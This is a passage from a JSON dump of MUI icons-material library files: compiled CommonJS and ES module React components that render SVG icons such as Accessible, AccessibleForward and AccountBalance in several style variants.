    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'AccessibilitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'AccessibilityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibilityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\"\n}), 'AccessibilityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Accessible.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.35-.2-.75-.3-1.19-.26C10.76 7.11 10 8.04 10 9.09V15c0 1.1.9 2 2 2h5v5h2v-5.5c0-1.1-.9-2-2-2h-3v-3.45c1.29 1.07 3.25 1.94 5 1.95m-6.17 5c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'Accessible');"
  },
  {
    "path": "packages/mui-icons-material/lib/Accessible.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.35-.2-.75-.3-1.19-.26C10.76 7.11 10 8.04 10 9.09V15c0 1.1.9 2 2 2h5v5h2v-5.5c0-1.1-.9-2-2-2h-3v-3.45c1.29 1.07 3.25 1.94 5 1.95m-6.17 5c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'Accessible');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C17.42 8.5 16.44 7 14.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L7.22 10l1.92.53L9.79 9H12l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H17v5h2v-5.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForward');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C17.42 8.5 16.44 7 14.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L7.22 10l1.92.53L9.79 9H12l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H17v5h2v-5.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForward');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L8.22 10l1.92.53.65-1.53H13l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H18v5h2v-5.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L8.22 10l1.92.53.65-1.53H13l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H18v5h2v-5.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2l-.28.76c-.21.56.11 1.17.68 1.33.49.14 1-.11 1.2-.58l.3-.71H13l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H18v4c0 .55.45 1 1 1s1-.45 1-1v-4.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2l-.28.76c-.21.56.11 1.17.68 1.33.49.14 1-.11 1.2-.58l.3-.71H13l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H18v4c0 .55.45 1 1 1s1-.45 1-1v-4.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m5-3.5h-3.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L8.22 10l1.92.53.65-1.53H13l-3.12 7H18v5h2z\"\n}, \"1\")], 'AccessibleForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m5-3.5h-3.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L8.22 10l1.92.53.65-1.53H13l-3.12 7H18v5h2z\"\n}, \"1\")], 'AccessibleForwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L8.22 10l1.92.53.65-1.53H13l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H18v5h2v-5.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleForwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"4.54\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17h-2c0 1.65-1.35 3-3 3s-3-1.35-3-3 1.35-3 3-3v-2c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5m3-3.5h-1.86l1.67-3.67C18.42 8.5 17.44 7 15.96 7h-5.2c-.81 0-1.54.47-1.87 1.2L8.22 10l1.92.53.65-1.53H13l-1.83 4.1c-.6 1.33.39 2.9 1.85 2.9H18v5h2v-5.5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AccessibleForwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.35-.2-.75-.3-1.19-.26C10.76 7.11 10 8.04 10 9.09V15c0 1.1.9 2 2 2h5v5h2v-5.5c0-1.1-.9-2-2-2h-3v-3.45c1.29 1.07 3.25 1.94 5 1.95m-9 7c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2\"\n}, \"1\")], 'AccessibleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.35-.2-.75-.3-1.19-.26C10.76 7.11 10 8.04 10 9.09V15c0 1.1.9 2 2 2h5v5h2v-5.5c0-1.1-.9-2-2-2h-3v-3.45c1.29 1.07 3.25 1.94 5 1.95m-9 7c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2\"\n}, \"1\")], 'AccessibleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11.9c0-.49-.36-.89-.84-.97-1.25-.21-2.43-.88-3.23-1.76l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.37-.21-.78-.31-1.25-.25C10.73 7.15 10 8.07 10 9.1V15c0 1.1.9 2 2 2h5v4c0 .55.45 1 1 1s1-.45 1-1v-4.5c0-1.1-.9-2-2-2h-3v-3.45c1 .83 2.4 1.54 3.8 1.82.62.13 1.2-.34 1.2-.97M12.83 18c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'AccessibleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11.9c0-.49-.36-.89-.84-.97-1.25-.21-2.43-.88-3.23-1.76l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.37-.21-.78-.31-1.25-.25C10.73 7.15 10 8.07 10 9.1V15c0 1.1.9 2 2 2h5v4c0 .55.45 1 1 1s1-.45 1-1v-4.5c0-1.1-.9-2-2-2h-3v-3.45c1 .83 2.4 1.54 3.8 1.82.62.13 1.2-.34 1.2-.97M12.83 18c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'AccessibleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.37-.21-.78-.31-1.25-.25C10.73 7.15 10 8.07 10 9.1V17h7v5h2v-7.5h-5v-3.45c1.29 1.07 3.25 1.94 5 1.95m-6.17 5c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'AccessibleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.37-.21-.78-.31-1.25-.25C10.73 7.15 10 8.07 10 9.1V17h7v5h2v-7.5h-5v-3.45c1.29 1.07 3.25 1.94 5 1.95m-6.17 5c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'AccessibleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.35-.2-.75-.3-1.19-.26C10.76 7.11 10 8.04 10 9.09V15c0 1.1.9 2 2 2h5v5h2v-5.5c0-1.1-.9-2-2-2h-3v-3.45c1.29 1.07 3.25 1.94 5 1.95m-6.17 5c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'AccessibleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccessibleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.17-.19-.38-.34-.61-.45-.01 0-.01-.01-.02-.01H13c-.35-.2-.75-.3-1.19-.26C10.76 7.11 10 8.04 10 9.09V15c0 1.1.9 2 2 2h5v5h2v-5.5c0-1.1-.9-2-2-2h-3v-3.45c1.29 1.07 3.25 1.94 5 1.95m-6.17 5c-.41 1.16-1.52 2-2.83 2-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4z\"\n}, \"1\")], 'AccessibleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalance.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10h3v7H4zm6.5 0h3v7h-3zM2 19h20v3H2zm15-9h3v7h-3zm-5-9L2 6v2h20V6z\"\n}), 'AccountBalance');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalance.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10h3v7H4zm6.5 0h3v7h-3zM2 19h20v3H2zm15-9h3v7h-3zm-5-9L2 6v2h20V6z\"\n}), 'AccountBalance');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 10h-2v7h2zm6 0h-2v7h2zm8.5 9H2v2h19zm-2.5-9h-2v7h2zm-7-6.74L16.71 6H6.29zm0-2.26L2 6v2h19V6z\"\n}), 'AccountBalanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 10h-2v7h2zm6 0h-2v7h2zm8.5 9H2v2h19zm-2.5-9h-2v7h2zm-7-6.74L16.71 6H6.29zm0-2.26L2 6v2h19V6z\"\n}), 'AccountBalanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11.5v4c0 .83.67 1.5 1.5 1.5S7 16.33 7 15.5v-4c0-.83-.67-1.5-1.5-1.5S4 10.67 4 11.5m6 0v4c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5M3.5 22h16c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-16c-.83 0-1.5.67-1.5 1.5S2.67 22 3.5 22M16 11.5v4c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5M10.57 1.49l-7.9 4.16c-.41.21-.67.64-.67 1.1C2 7.44 2.56 8 3.25 8h16.51C20.44 8 21 7.44 21 6.75c0-.46-.26-.89-.67-1.1l-7.9-4.16c-.58-.31-1.28-.31-1.86 0\"\n}), 'AccountBalanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AccountBalanceRounded.mjs",
